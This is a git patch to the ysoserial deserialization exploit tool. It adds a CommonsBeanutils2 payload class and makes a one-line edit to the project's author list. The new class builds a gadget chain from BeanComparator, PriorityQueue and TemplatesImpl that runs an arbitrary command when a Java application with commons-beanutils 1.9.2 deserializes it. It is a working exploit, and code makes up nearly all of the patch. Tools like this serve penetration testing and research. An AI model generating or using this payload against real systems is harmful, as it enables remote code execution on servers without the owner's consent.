From 15e6aa699bd478fb009fd1a1901f2c6e4e9d86c8 Mon Sep 17 00:00:00 2001
From: k4n5ha0 <9199771@qq.com>
Date: Wed, 27 Apr 2022 13:24:48 +0800
Subject: [PATCH] add CommonsBeanutils2 (#163)

---
 .../ysoserial/payloads/CommonsBeanutils2.java | 44 +++++++++++++++++++
 .../payloads/annotation/Authors.java          |  3 +-
 2 files changed, 46 insertions(+), 1 deletion(-)
 create mode 100644 src/main/java/ysoserial/payloads/CommonsBeanutils2.java

diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutils2.java b/src/main/java/ysoserial/payloads/CommonsBeanutils2.java
new file mode 100644
index 0000000..29dca19
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/CommonsBeanutils2.java
@@ -0,0 +1,44 @@
+package ysoserial.payloads;
+
+import org.apache.commons.beanutils.BeanComparator;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.PriorityQueue;
+
+// Origin Detective is PHITHON From
+// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
+@Authors({Authors.K4n5ha0})
+public class CommonsBeanutils2 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        // mock method name until armed
+        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+
+        // create queue with numbers and basic comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add("1");
+        queue.add("1");
+
+        // switch method called by comparator
+        Reflections.setFieldValue(comparator, "property", "outputProperties");
+
+        // switch contents of queue
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        queueArray[0] = templates;
+        queueArray[1] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsBeanutils2.class, args);
+    }
+}
diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java
index 59789d0..2aa61a0 100644
--- a/src/main/java/ysoserial/payloads/annotation/Authors.java
+++ b/src/main/java/ysoserial/payloads/annotation/Authors.java
@@ -15,7 +15,7 @@ public @interface Authors {
     String MBECHLER = "mbechler";
     String JACKOFMOSTTRADES = "JackOfMostTrades";
     String MATTHIASKAISER = "matthias_kaiser";
-    String GEBL = "gebl" ;
+    String GEBL = "gebl";
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
     String KULLRICH = "kai_ullrich";
@@ -30,6 +30,7 @@ public @interface Authors {
     String NAVALORENZO = "navalorenzo";
     String JANG = "Jang";
     String ARTSPLOIT = "artsploit";
+    String K4n5ha0 = "k4n5ha0";
 
     String[] value() default {};